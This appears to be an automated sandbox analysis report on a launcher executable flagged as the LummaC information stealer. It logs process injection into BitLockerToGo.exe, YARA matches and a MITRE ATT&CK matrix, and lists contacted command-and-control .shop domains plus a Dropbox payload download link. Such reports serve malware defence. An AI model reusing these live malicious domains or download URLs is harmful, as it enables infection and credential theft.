Source: C:\Windows\Temp\4ud5if5k.0ze.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2D3D008	Jump to behavior
Source: C:\Windows\Temp\4ud5if5k.0ze.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000	Jump to behavior
Source: C:\Windows\Temp\4ud5if5k.0ze.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 401000	Jump to behavior
Source: C:\Windows\Temp\4ud5if5k.0ze.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 436000	Jump to behavior
Source: C:\Windows\Temp\4ud5if5k.0ze.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 439000	Jump to behavior
Source: C:\Windows\Temp\4ud5if5k.0ze.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 448000	Jump to behavior

Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Process created: C:\Windows\Temp\4ud5if5k.0ze.exe "C:\\Windows\\Temp\4ud5if5k.0ze.exe"			Jump to behavior
Source: C:\Windows\Temp\4ud5if5k.0ze.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"			Jump to behavior

Source: C:\Windows\Temp\4ud5if5k.0ze.exe	Queries volume information: C:\Windows\Temp\4ud5if5k.0ze.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Temp\4ud5if5k.0ze.exe	Queries volume information: C:\Windows VolumeInformation	Jump to behavior
Source: C:\Windows\Temp\4ud5if5k.0ze.exe	Queries volume information: C:\Windows\AppReadiness VolumeInformation	Jump to behavior
Source: C:\Windows\Temp\4ud5if5k.0ze.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents VolumeInformation	Jump to behavior
Source: C:\Windows\Temp\4ud5if5k.0ze.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Temp\4ud5if5k.0ze.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Launcher_x32_x64.exe

Code function: 0_2_010C3520 CreateNamedPipeA,GetLastError,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetLastError,CreateEventW,GetLastError,ConnectNamedPipe,GetLastError,

0_2_010C3520

Source: C:\Users\user\Desktop\Launcher_x32_x64.exe

Code function: 0_2_0131D80E GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_0131D80E

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 3.2.BitLockerToGo.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.BitLockerToGo.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1894150698.0000000003E01000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1924955171.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1884184643.0000000003B36000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1894150698.0000000003C9E000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 3.2.BitLockerToGo.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.BitLockerToGo.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1894150698.0000000003E01000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1924955171.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1884184643.0000000003B36000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1894150698.0000000003C9E000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	412 Process Injection	1 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Screen Capture	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	3 Virtualization/Sandbox Evasion	LSASS Memory	141 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	1 Disable or Modify Tools	Security Account Manager	3 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	2 Clipboard Data	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	412 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Deobfuscate/Decode Files or Information	LSA Secrets	24 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Launcher_x32_x64.exe	10%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Windows\Temp\4ud5if5k.0ze.exe	21%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
locatedblsoqp.shop	100%	URL Reputation	phishing
locatedblsoqp.shop	100%	URL Reputation	phishing
edge-block-www-env.dropbox-dns.com	0%	Virustotal		Browse
tenseddrywsqio.shop	15%	Virustotal		Browse
www-env.dropbox-dns.com	1%	Virustotal		Browse
traineiwnqo.shop	100%	URL Reputation	malware
www.dropbox.com	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://locatedblsoqp.shop/api	100%	URL Reputation	malware
https://aka.ms/nativeaot-compatibility	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
caffegclasiqwp.shop	100%	URL Reputation	malware
millyscroqwp.shop	100%	URL Reputation	malware
condedqpwqm.shop	100%	URL Reputation	phishing
stagedchheiqwo.shop	100%	URL Reputation	phishing
https://aka.ms/dotnet-warnings/	0%	URL Reputation	safe
stamppreewntnq.shop	100%	URL Reputation	phishing
evoliutwoqm.shop	0%	URL Reputation	safe
https://www.cloudflare.com/learning/access-management/phishing-attack/	0%	Avira URL Cloud	safe
https://github.com/mono/linker/issues/1731	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddressxhttp://schemas.xmlsoap.org/ws/200	0%	Avira URL Cloud	safe
https://aka.ms/dotnet/info	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dateofbirthrhttp://schemas.xmlsoap.org/ws/2005	0%	Avira URL Cloud	safe
https://aka.ms/dotnet/app-launch-failed	0%	Avira URL Cloud	safe
https://paper.dropbox.com/cloud-docs/edit	0%	Avira URL Cloud	safe
https://app.hellosign.com/	0%	Avira URL Cloud	safe
https://aka.ms/dotnet/info	0%	Virustotal		Browse
https://github.com/mono/linker/issues/1731	0%	Virustotal		Browse
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/stateorprovince	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddressxhttp://schemas.xmlsoap.org/ws/200	0%	Virustotal		Browse
https://www.cloudflare.com/learning/access-management/phishing-attack/	0%	Virustotal		Browse
https://github.com/mono/linker/issues/1895v	0%	Avira URL Cloud	safe
https://paper.dropbox.com/cloud-docs/edit	0%	Virustotal		Browse
https://app.hellosign.com/	0%	Virustotal		Browse
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dateofbirthrhttp://schemas.xmlsoap.org/ws/2005	0%	Virustotal		Browse
https://www.dropbox.com/	0%	Avira URL Cloud	safe
https://aka.ms/dotnet/app-launch-failed	0%	Virustotal		Browse
https://www.docsend.com/	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/authentication	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysid	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/authorizationdecisionzhttp://schemas.xmlsoap.o	0%	Avira URL Cloud	safe
https://github.com/mono/linker/issues/1895v	0%	Virustotal		Browse
https://www.dropboxstatic.com/static/	0%	Avira URL Cloud	safe
https://github.com/mono/linker/pull/649	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/authentication	0%	Virustotal		Browse
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysid	0%	Virustotal		Browse
https://officeapps-df.live.com	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/stateorprovince	0%	Virustotal		Browse
https://www.dropbox.com/	1%	Virustotal		Browse
https://www.dropboxstatic.com/static/	0%	Virustotal		Browse
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/authorizationdecisionzhttp://schemas.xmlsoap.o	0%	Virustotal		Browse
https://api.login.yahoo.com/	0%	Avira URL Cloud	safe
https://login.yahoo.com/	0%	Avira URL Cloud	safe
https://github.com/mono/linker/pull/649	0%	Virustotal		Browse
https://www.dropbox.com/playlist/	0%	Avira URL Cloud	safe
https://www.docsend.com/	0%	Virustotal		Browse
https://onedrive.live.com/picker	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier	0%	Avira URL Cloud	safe
https://officeapps-df.live.com	0%	Virustotal		Browse
https://www.dropbox.com/scl/fi/zggrbdmbru8wwpp19fnal/Launcher.exe?rlkey=oyhv29cvxml0f5jh9a6ijy93p&st	0%	Avira URL Cloud	safe
https://api.login.yahoo.com/	0%	Virustotal		Browse
tenseddrywsqio.shop	0%	Avira URL Cloud	safe
https://login.yahoo.com/	0%	Virustotal		Browse
https://github.com/dotnet/runtime/blob/bbc898f3e5678135b242faeb6eefd8b24bf04f3c/src/native/corehost/	0%	Avira URL Cloud	safe
https://onedrive.live.com/picker	1%	Virustotal		Browse
https://aka.ms/dotnet-illink/com	0%	Avira URL Cloud	safe
https://uc65f56b62827632faafd635f90d.dl.dropboxusercontent.com/cd/0/get/CZuc7lbOcorcPO1KnxZRm4I-EZZJ	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier	0%	Virustotal		Browse
tenseddrywsqio.shop	15%	Virustotal		Browse
https://aka.ms/dotnet/downloadInstall	0%	Avira URL Cloud	safe
https://github.com/dotnet/runtime/blob/bbc898f3e5678135b242faeb6eefd8b24bf04f3c/src/native/corehost/	0%	Virustotal		Browse
https://www.dropbox.com/v/s/playlist/	0%	Avira URL Cloud	safe
https://aka.ms/dotnet-illink/com	0%	Virustotal		Browse
https://github.com/dotnet/runtimev	0%	Avira URL Cloud	safe
https://docs.sandbox.google.com/document/fsip/	0%	Avira URL Cloud	safe
https://www.cloudflare.com/5xx-error-landing	0%	Avira URL Cloud	safe
https://github.com/dotnet/runtimer	0%	Avira URL Cloud	safe
https://help.dropbox.com/	0%	Avira URL Cloud	safe
https://github.com/dotnet/runtimev	0%	Virustotal		Browse
https://www.dropbox.com/playlist/	0%	Virustotal		Browse
https://docs.sandbox.google.com/document/fsip/	0%	Virustotal		Browse
https://docs.google.com/presentation/fsip/	0%	Avira URL Cloud	safe
https://canny.io/sdk.js	0%	Avira URL Cloud	safe
https://github.com/dotnet/runtimer	0%	Virustotal		Browse
https://aka.ms/dotnet/downloadInstall	0%	Virustotal		Browse
https://help.dropbox.com/	0%	Virustotal		Browse
https://www.cloudflare.com/5xx-error-landing	0%	Virustotal		Browse
https://selfguidedlearning.dropboxbusiness.com/	0%	Avira URL Cloud	safe
https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/	0%	Avira URL Cloud	safe
https://management.azure.comfailed	0%	Avira URL Cloud	safe
https://www.google.com/recaptcha/	0%	Avira URL Cloud	safe
https://github.com/dotnet/runtime/issues/50821	0%	Avira URL Cloud	safe
https://www.dropbox.com/v/s/playlist/	0%	Virustotal		Browse
https://docs.sandbox.google.com/presentation/fsip/	0%	Avira URL Cloud	safe
https://dl-web.dropbox.com/	0%	Avira URL Cloud	safe
https://app.hellofax.com/	0%	Avira URL Cloud	safe
https://cfl.dropboxstatic.com/static/	0%	Avira URL Cloud	safe
https://aka.ms/dotnet/download	0%	Avira URL Cloud	safe
https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist	0%	Avira URL Cloud	safe
https://github.com/dotnet/runtime;	0%	Avira URL Cloud	safe
http://html4/loose.dtd	0%	Avira URL Cloud	safe
https://www.dropbox.com/service_worker.js	0%	Avira URL Cloud	safe
https://api.loganalytics.iohttps://api.loganalytics.usencountered	0%	Avira URL Cloud	safe
https://github.com/dotnet/runtime7	0%	Avira URL Cloud	safe
http://uc65f56b62827632faafd635f90d.dl.dropboxusercontent.com:443/	0%	Avira URL Cloud	safe
https://datalake.azure.net/https://graph.microsoft.us/servicebus.chinacloudapi.cndocuments.microsoft	0%	Avira URL Cloud	safe
https://paper.dropbox.com/	0%	Avira URL Cloud	safe
https://www.hellofax.com/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
locatedblsoqp.shop	188.114.97.3	true	true	100%, URL Reputation 100%, URL Reputation	unknown
edge-block-www-env.dropbox-dns.com	162.125.66.15	true	false	0%, Virustotal, Browse	unknown
tenseddrywsqio.shop	172.67.209.93	true	true	15%, Virustotal, Browse	unknown
www-env.dropbox-dns.com	162.125.66.18	true	false	1%, Virustotal, Browse	unknown
traineiwnqo.shop	188.114.97.3	true	true	100%, URL Reputation	unknown
uc65f56b62827632faafd635f90d.dl.dropboxusercontent.com	unknown	unknown	false		unknown
www.dropbox.com	unknown	unknown	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://locatedblsoqp.shop/api	true	URL Reputation: malware	unknown
tenseddrywsqio.shop	true	15%, Virustotal, Browse Avira URL Cloud: safe	unknown
locatedblsoqp.shop	true		unknown
caffegclasiqwp.shop	true	URL Reputation: malware	unknown
millyscroqwp.shop	true	URL Reputation: malware	unknown
traineiwnqo.shop	true		unknown
condedqpwqm.shop	true	URL Reputation: phishing	unknown
https://tenseddrywsqio.shop/api	true	Avira URL Cloud: malware	unknown
stagedchheiqwo.shop	true	URL Reputation: phishing	unknown
stamppreewntnq.shop	true	URL Reputation: phishing	unknown
evoliutwoqm.shop	true	URL Reputation: safe	unknown
https://uc65f56b62827632faafd635f90d.dl.dropboxusercontent.com/cd/0/get/CZuc7lbOcorcPO1KnxZRm4I-EZZJmX4CAtKb51Ff50K-MBU4Nlue9UTG2pSEpIIqdE9VtxyEjty_TXqZ6fmGkkyezkdESSzw2JVLLryoStBMg9uHfHjByfogdOWZUZ_u2nqNaED64BuzF6YgGT3bVBkI/file?dl=1	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/scl/fi/zggrbdmbru8wwpp19fnal/Launcher.exe?rlkey=oyhv29cvxml0f5jh9a6ijy93p&st=su8clvok&dl=1	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.cloudflare.com/learning/access-management/phishing-attack/	BitLockerToGo.exe, 00000003.00000002.1925229586.0000000002F25000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dateofbirthrhttp://schemas.xmlsoap.org/ws/2005	Launcher_x32_x64.exe, 00000000.00000002.1834746292.000000000EB10000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834791513.000000000EB31000.00000020.00000001.00040000.00000003.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/mono/linker/issues/1731	Launcher_x32_x64.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddressxhttp://schemas.xmlsoap.org/ws/200	Launcher_x32_x64.exe, 00000000.00000002.1834746292.000000000EB10000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834791513.000000000EB31000.00000020.00000001.00040000.00000003.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://aka.ms/dotnet/info	Launcher_x32_x64.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://paper.dropbox.com/cloud-docs/edit	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://aka.ms/dotnet/app-launch-failed	Launcher_x32_x64.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://app.hellosign.com/	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/stateorprovince	Launcher_x32_x64.exe, 00000000.00000002.1834746292.000000000EB10000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834791513.000000000EB31000.00000020.00000001.00040000.00000003.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/mono/linker/issues/1895v	Launcher_x32_x64.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.dropbox.com/	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/authentication	Launcher_x32_x64.exe, 00000000.00000002.1834746292.000000000EB10000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834791513.000000000EB31000.00000020.00000001.00040000.00000003.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.docsend.com/	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysid	Launcher_x32_x64.exe, 00000000.00000002.1834663564.000000000EAE1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834746292.000000000EB10000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834617042.000000000EAB0000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834791513.000000000EB31000.00000020.00000001.00040000.00000003.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/authorizationdecisionzhttp://schemas.xmlsoap.o	Launcher_x32_x64.exe, 00000000.00000002.1834746292.000000000EB10000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834791513.000000000EB31000.00000020.00000001.00040000.00000003.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://aka.ms/nativeaot-compatibility	Launcher_x32_x64.exe, 00000000.00000002.1817301885.0000000008CD0000.00000002.00000001.00040000.00000003.sdmp	false	URL Reputation: safe	unknown
https://www.dropboxstatic.com/static/	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/mono/linker/pull/649	Launcher_x32_x64.exe, 00000000.00000002.1817950421.00000000098D1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1817301885.0000000008CD0000.00000002.00000001.00040000.00000003.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://officeapps-df.live.com	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.login.yahoo.com/	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Launcher_x32_x64.exe, 00000000.00000002.1834663564.000000000EAE1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834617042.000000000EAB0000.00000002.00000001.00040000.00000003.sdmp	false	URL Reputation: safe	unknown
https://login.yahoo.com/	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.dropbox.com/playlist/	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://onedrive.live.com/picker	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier	Launcher_x32_x64.exe, 00000000.00000002.1834746292.000000000EB10000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834791513.000000000EB31000.00000020.00000001.00040000.00000003.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.dropbox.com/scl/fi/zggrbdmbru8wwpp19fnal/Launcher.exe?rlkey=oyhv29cvxml0f5jh9a6ijy93p&st	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A71000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/dotnet/runtime/blob/bbc898f3e5678135b242faeb6eefd8b24bf04f3c/src/native/corehost/	Launcher_x32_x64.exe, 00000000.00000002.1817950421.00000000098D1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1817301885.0000000008CD0000.00000002.00000001.00040000.00000003.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://aka.ms/dotnet-illink/com	Launcher_x32_x64.exe, 00000000.00000002.1817950421.00000000098D1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1817301885.0000000008CD0000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1817950421.0000000009F64000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1817301885.000000000936A000.00000002.00000001.00040000.00000003.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://uc65f56b62827632faafd635f90d.dl.dropboxusercontent.com/cd/0/get/CZuc7lbOcorcPO1KnxZRm4I-EZZJ	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/dotnet/downloadInstall	Launcher_x32_x64.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.dropbox.com/v/s/playlist/	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/dotnet/runtimev	Launcher_x32_x64.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://docs.sandbox.google.com/document/fsip/	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.cloudflare.com/5xx-error-landing	BitLockerToGo.exe, 00000003.00000003.1914096343.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/dotnet/runtimer	Launcher_x32_x64.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://help.dropbox.com/	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://docs.google.com/presentation/fsip/	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://canny.io/sdk.js	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://selfguidedlearning.dropboxbusiness.com/	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/recaptcha/	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://management.azure.comfailed	Launcher_x32_x64.exe, 00000000.00000002.1835804518.000000000F231000.00000004.00001000.00020000.00000000.sdmp, 4ud5if5k.0ze.exe, 00000001.00000000.1813573976.0000000000D9D000.00000002.00000001.01000000.00000005.sdmp, 4ud5if5k.0ze.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://github.com/dotnet/runtime/issues/50821	Launcher_x32_x64.exe	false	Avira URL Cloud: safe	unknown
https://docs.sandbox.google.com/presentation/fsip/	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dl-web.dropbox.com/	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://app.hellofax.com/	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cfl.dropboxstatic.com/static/	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/dotnet/download	Launcher_x32_x64.exe	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/dotnet/runtime;	Launcher_x32_x64.exe	false	Avira URL Cloud: safe	unknown
http://html4/loose.dtd	Launcher_x32_x64.exe	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/service_worker.js	Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.loganalytics.iohttps://api.loganalytics.usencountered	Launcher_x32_x64.exe, 00000000.00000002.1835804518.000000000F231000.00000004.00001000.00020000.00000000.sdmp, 4ud5if5k.0ze.exe, 00000001.00000000.1813573976.0000000000D9D000.00000002.00000001.01000000.00000005.sdmp, 4ud5if5k.0ze.exe.0.dr	false	Avira URL Cloud: safe	unknown
